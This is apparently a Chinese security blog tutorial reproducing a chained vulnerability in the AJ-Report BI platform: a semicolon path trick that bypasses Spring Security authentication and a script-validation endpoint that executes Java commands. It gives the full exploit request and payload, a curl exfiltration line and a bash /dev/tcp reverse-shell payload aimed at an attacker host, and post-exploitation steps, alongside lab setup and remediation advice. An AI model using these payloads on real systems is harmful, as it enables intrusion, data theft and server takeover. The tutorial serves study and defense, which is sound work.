AJ-Report漏洞复现:Spring Security认证绕过与远程代码执行实战分析

📅 发布时间:2026/7/13 9:29:57
AJ-Report漏洞复现:Spring Security认证绕过与远程代码执行实战分析 1. 项目概述AJ-Report漏洞复现的实战价值最近在梳理一些开源项目的安全风险时AJ-Report这个开源BI平台的一个组合漏洞引起了我的注意。这个编号为CNVD-2024-15077的漏洞本质上是“认证绕过”和“远程代码执行”两个高危漏洞的串联利用。对于从事安全研究、渗透测试或者负责企业应用安全的朋友来说这类在真实业务系统中发现的、可直接导致服务器沦陷的漏洞其复现和分析过程极具学习价值。它不像那些停留在理论层面的漏洞而是清晰地展示了攻击者如何从一个看似微小的权限校验缺陷入手最终获得在服务器上执行任意命令的能力。今天我就结合自己的搭建和测试环境把这个漏洞的来龙去脉、复现细节以及背后的原理掰开揉碎了讲清楚希望能给想深入理解Web漏洞链利用的朋友提供一个完整的实操案例。2. 漏洞原理深度剖析要成功复现并理解一个漏洞死记硬背POC概念验证代码是远远不够的。我们必须深入代码层面搞清楚“为什么这里会有问题”以及“攻击者是如何利用的”。对于CNVD-2024-15077我们需要分两步走先理解认证是如何被绕过的再明白代码执行是如何发生的。2.1 认证绕过漏洞的根源Spring Security路径匹配的“陷阱”AJ-Report作为一个Spring Boot架构的应用通常使用Spring Security框架进行权限控制。Spring Security允许开发者通过配置为不同的URL路径模式指定访问权限例如/admin/**需要ADMIN角色/api/**需要认证而/login、/static/**可以公开访问。漏洞的核心在于一处路径配置的缺陷。根据公开的漏洞详情问题出在/dataSetParam/verification这个接口上。开发者的本意可能是/dataSetParam/**下的所有接口都需要认证但/dataSetParam/verification这个特定的子路径因为某种业务原因比如用于前端表单的实时校验被错误地配置为了匿名访问或者更常见的情况是配置规则被优先级更高、更宽松的规则覆盖了。攻击者利用了一个关键技巧在路径中插入分号;。他们构造的请求路径是/dataSetParam/verification;swagger-ui/。这里发生了什么在HTTP协议和部分Web容器如Tomcat的早期规范中分号;曾被用于包含路径参数Path Parameters例如/file;namereport.pdf。路径参数在路径匹配阶段通常会被容器剥离。也就是说当Spring Security检查请求路径/dataSetParam/verification;swagger-ui/是否匹配其配置的规则时它可能会先将;swagger-ui/作为路径参数移除只拿/dataSetParam/verification去匹配安全规则。如果安全配置恰好对/dataSetParam/verification这个“干净”的路径没有设置访问限制那么请求就会被放行。然而当请求流转到后续的控制器Controller进行实际处理时某些路由解析逻辑可能仍然接收到了完整的、包含分号的原始路径并成功将其映射到了预期的业务逻辑处理器上。这就导致了安全框架看到的路径和业务逻辑处理的路径不一致从而实现了认证绕过。注意这种利用方式与特定的Spring Security版本、配置方式以及Web容器对路径参数的处理逻辑密切相关。并非所有环境都一定生效但在AJ-Report受影响版本中这个条件是成立的。这也提醒我们在配置安全规则时要使用严格匹配模式并充分了解框架的路径解析机制。2.2 远程代码执行漏洞的触发动态脚本注入与沙箱缺失绕过认证后攻击者面对的是/dataSetParam/verification接口。根据漏洞信息这是一个用于“数据集参数验证”的功能。通常BI平台为了灵活性会允许用户为数据查询参数编写一些简单的验证规则或转换脚本。漏洞点就在于这个接口接收并动态执行了用户传入的JavaScript或类似脚本引擎代码且没有对执行环境进行任何安全的沙箱隔离。我们来看攻击载荷Payload的关键部分{ validationRules: function verification(data){a new java.lang.ProcessBuilder(\id\).start().getInputStream();...} }这个validationRules字段的值是一段JavaScript函数。在Java应用中执行JavaScript通常会用到像NashornJDK 8-14内置或GraalVM这样的脚本引擎。致命的错误在于两点脚本引擎权限过高应用在初始化脚本引擎时没有限制其可访问的Java类。默认情况下通过脚本引擎可以访问到整个JVM的运行时环境。用户输入直接执行将未经严格过滤和校验的用户输入validationRules直接传递给脚本引擎执行。于是攻击者就可以在JavaScript中直接调用Java API。new java.lang.ProcessBuilder(\id\).start()这行代码的含义是在服务器上创建一个新的操作系统进程来执行id命令并获取其输出。这就等同于在服务器Shell中执行了id命令实现了远程代码执行。实操心得这种“参数验证”或“数据转换”功能是RCE漏洞的高发区。开发者在设计此类功能时必须假定所有用户输入都是恶意的。要么彻底禁止动态脚本使用安全的表达式引擎如SpEL但需严格配置要么必须构建一个强沙箱使用Java安全管理器SecurityManager或自定义的类过滤器ClassFilter白名单式地允许脚本访问极少数安全的工具类。3. 漏洞复现环境搭建理解了原理我们动手搭建一个漏洞环境来验证。最方便的方法是使用Vulhub这个开源漏洞靶场项目。3.1 环境准备与启动首先确保你的实验机器上已经安装了Docker和Docker Compose。这是一个基本前提。获取环境从Vulhub官网或GitHub仓库找到AJ-Report的漏洞环境目录。通常路径是vulhub/aj-report/CVE-2024-xxxx/有时漏洞编号可能不同但根据描述找到对应目录即可。启动服务进入该目录执行以下命令docker-compose up -d这个命令会从Docker镜像仓库拉取包含AJ-Report 1.4.0漏洞版本的镜像并在后台启动容器。确认服务启动完成后使用docker ps命令查看容器是否正常运行。正常情况下AJ-Report服务会监听在容器的9095端口并通过Docker映射到你宿主机的某个端口通常是9095。在浏览器中访问http://你的宿主机IP:9095应该能看到AJ-Report的登录页面。注意事项网络问题如果拉取镜像缓慢可以配置Docker国内镜像加速器。端口冲突如果宿主机9095端口已被占用需要修改docker-compose.yml文件中的端口映射例如将9095:9095改为9096:9095然后通过http://你的宿主机IP:9096访问。实验环境隔离务必在隔离的虚拟机或内网环境中进行此实验切勿在连接公网或存有敏感数据的机器上操作。3.2 理解靶场网络结构简单了解一下Docker Compose启动的环境结构有助于后续排查问题。这个环境通常只包含一个服务AJ-Report应用本身它可能基于一个包含了MySQL数据库和所需运行环境的完整镜像。所有漏洞利用的请求都将发送到这个启动的Web服务上。4. 漏洞利用复现实操环境就绪后我们开始最关键的漏洞利用步骤。我将使用Burp Suite这款工具来演示你也可以使用Postman或Curl命令行。4.1 构造认证绕过请求首先我们直接向漏洞接口发送请求而不提供任何登录凭证如Cookie、Token。配置代理打开Burp Suite确保浏览器或你的HTTP客户端配置了Burp的代理通常是127.0.0.1:8080。捕获或构造请求在Burp的Proxy标签页下打开拦截Intercept然后在浏览器中随便触发一个请求再切换到Repeater标签页进行手动构造。或者直接在Repeater中新建请求。填写请求信息请求方法 POSTURLhttp://你的靶机IP:9095/dataSetParam/verification;swagger-ui/注意URL中的分号/verification;swagger-ui/是绕过认证的关键。设置请求头需要设置Content-Type为application/json因为我们要发送JSON格式的数据体。Content-Type: application/json;charsetUTF-8其他头如Host、User-Agent按常规填写即可。4.2 注入远程代码执行载荷接下来在请求体中填入我们精心构造的恶意JSON数据。准备Payload将以下JSON数据作为请求体。这个Payload定义了一个JavaScript函数它利用Java的ProcessBuilder执行系统命令id并读取命令的输出结果作为函数返回值。{ ParamName: , paramDesc: , paramType: , sampleItem: 1, mandatory: true, requiredFlag: 1, validationRules: function verification(data){a new java.lang.ProcessBuilder(\id\).start().getInputStream();rnew java.io.BufferedReader(new java.io.InputStreamReader(a));ss;while((line r.readLine()) ! null){ssline};return ss;} }Payload解读validationRules字段是攻击入口。java.lang.ProcessBuilder(\id\).start()创建并启动执行id命令的进程。.getInputStream()获取进程的标准输出流。后续代码将输出流转换为字符串并返回。发送请求在Burp Repeater中将完整的请求包含恶意请求体的POST请求发送给靶机。4.3 结果验证与分析如果靶场环境搭建正确且漏洞存在你将收到服务器的响应。成功响应响应状态码应为200 OK。在响应体中你应该能看到id命令的执行结果例如uid0(root) gid0(root) groups0(root)这表示命令执行成功并且进程是以root权限运行的在Docker容器中很常见这危害极大。结果分析认证绕过成功服务器没有返回401未授权或403禁止访问的错误说明路径/dataSetParam/verification;swagger-ui/成功绕过了权限检查。代码执行成功服务器不仅处理了请求还执行了validationRules中的脚本并返回了脚本的执行结果即命令输出。这证实了远程代码执行漏洞的存在。漏洞串联单独一个认证绕过可能只能访问到一些非敏感信息。但结合这个RCE漏洞攻击者就获得了系统的完全控制权。这就是“漏洞链”的威力11远大于2。实操心得在实际渗透测试中发现一个认证绕过点后要立即以此为据点对应用进行“横向探索”。使用工具如Burp的Scanner、Intruder或手动方式尝试访问所有已知的、猜测的管理接口或功能端点特别是那些涉及文件操作、命令执行、数据库查询的功能。AJ-Report这个案例就是教科书般的例子绕过认证后攻击者找到了一个可以执行脚本的接口从而完成权限提升。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。作为开发或安全人员我们必须知道如何修复此类问题。5.1 官方修复方案对于使用AJ-Report的用户最直接的方法是升级到已修复的安全版本。根据漏洞信息v1.4.0之后可能包含v1.4.1或更高版本的版本应该已经修复了此问题。升级前务必查看官方发布说明确认该漏洞已被修补。5.2 代码层修复要点如果你是开发者可以从这个漏洞中吸取以下教训来加固自己的Spring Boot应用严格化Spring Security路径匹配避免使用宽松的匹配模式如/**。尽可能使用精确路径。使用mvcMatchers而非antMatchers因为mvcMatchers的匹配行为更接近Spring MVC的实际处理逻辑可以减少歧义。在安全配置中明确拒绝包含分号(;)、点号(..)等特殊字符的路径请求或确保安全框架在匹配前对路径进行规范化处理。彻底禁用动态脚本执行对于类似“参数验证”的功能评估是否必须使用动态脚本。很多情况下使用一组预定义的规则选项或一个安全的、功能受限的表达式语言如AviatorScript、QLExpress并严格配置白名单是更安全的选择。如果业务上必须支持用户自定义脚本这是一个高风险需求则必须引入沙箱机制使用Java SecurityManager为脚本引擎设置严格的安全策略文件限制其访问文件、网络、执行命令等权限。使用脚本引擎的白名单特性例如Nashorn引擎可以通过ClassFilter或nashorn.args来限制可访问的Java类。只允许访问业务明确需要的工具类如某些数学计算、字符串处理类。在独立环境中运行考虑将脚本执行任务发送到完全隔离的、无网络权限的Docker容器或沙箱进程中执行执行完毕即销毁。输入验证与过滤对validationRules这类字段进行强验证。不仅检查长度、格式更要对内容进行关键词过滤如java.lang.ProcessBuilder、Runtime.exec、getClass、forName等危险类和方法名但这只是一种辅助手段不能完全依赖。5.3 企业级防护措施从运维和安全团队角度可以采取以下措施进行纵深防御Web应用防火墙部署WAF并更新规则库使其能够识别和阻断利用分号进行路径遍历、以及包含明显Java命令执行特征的HTTP请求。运行时应用自保护采用RASP技术在应用内部监控危险行为如通过反射调用ProcessBuilder、Runtime.exec一旦发现即时中断并告警。定期漏洞扫描与代码审计使用SCA工具扫描项目依赖使用SAST工具对自有代码进行静态分析定期进行人工代码安全审计特别关注权限校验和脚本执行相关代码。最小权限原则运行Java应用的系统账户应遵循最小权限原则避免使用root权限。这样即使被RCE攻击者获得的权限也有限。6. 漏洞复现中的常见问题与排查在复现过程中你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。6.1 环境搭建失败问题执行docker-compose up -d后容器不断重启或快速退出。排查使用docker logs 容器ID查看应用启动日志。常见原因是端口冲突或数据库连接失败。检查docker-compose.yml文件确认端口映射是否与宿主机现有服务冲突。可能是镜像拉取不完整。尝试删除本地镜像并重新拉取docker-compose down docker-compose pull docker-compose up -d。6.2 请求返回404或500错误问题发送Payload后服务器返回404 Not Found或500 Internal Server Error。排查404错误首先确认URL路径是否正确。确保靶机IP、端口无误且路径为/dataSetParam/verification;swagger-ui/。分号是英文分号。可能是Vulhub环境版本略有差异尝试访问/dataSetParam/verification不带分号看是否也是404以确认接口是否存在。500错误这是一个“好”迹象说明请求触达了后端代码但执行过程出错。查看Docker容器日志docker logs 容器ID通常会有详细的Java异常堆栈信息。可能的原因包括脚本引擎初始化失败。Payload中的Java语法在特定JDK版本下不兼容。尝试简化Payload例如先尝试执行一个简单的计算return 11;来验证脚本执行功能是否正常。6.3 命令执行无回显问题请求返回200但响应体为空或没有命令执行结果。排查检查Payload逻辑确保你的Payload包含了读取命令输出并返回的逻辑。最初的Payload可能只执行命令没有将输出流读回。我提供的Payload包含了完整的读取循环。尝试不同命令id命令在极简的Docker镜像中可能不存在。尝试使用更通用的命令如ls -la /列出根目录或whoami。检查编码与转义确保JSON格式正确字符串中的反斜杠\被正确转义。在Burp中直接粘贴原始JSON文本即可它会自动处理。使用DNS或HTTP外带通道如果怀疑是回显问题可以尝试使用盲注的方式通过执行ping或curl命令将执行结果带到你的公网服务器需要靶机有网络出口。例如执行curl http://你的服务器IP:端口/?$(whoami)。这需要你有一个可接收请求的公网服务器。6.4 漏洞利用扩展思考成功执行id命令只是开始。在真实的安全评估中我们会利用这个RCE漏洞做更多事获取反向Shell这是建立持久化控制的标准操作。可以在Payload中编写更复杂的脚本使用bash -c或python -c来反弹一个Shell到你的攻击机。validationRules: function verification(data){new java.lang.ProcessBuilder(\/bin/bash\, \-c\, \bash -i /dev/tcp/攻击机IP/攻击机端口 01\).start(); return ok;}注意这需要靶机镜像中包含/bin/bash且能访问网络。探测内网信息执行ifconfig、ip addr、cat /etc/hosts、netstat -tulnp等命令了解服务器网络环境。文件系统操作利用cat、find、grep等命令读取敏感配置文件、源代码、数据库连接信息等。权限提升尝试如果当前不是root可以尝试查找具有SUID权限的可执行文件或者利用内核漏洞进行提权。重要警告以上所有扩展利用手法仅限在你自己完全控制的、合法的渗透测试环境或漏洞研究环境中进行。未经授权对任何系统进行测试都是违法行为。通过这样一个从原理到实践再到防御的完整闭环分析我们不仅学会了一个漏洞的复现更重要的是理解了这类漏洞产生的深层原因和防御思路。安全是一个持续的过程每一次漏洞复现都是一次宝贵的经验积累。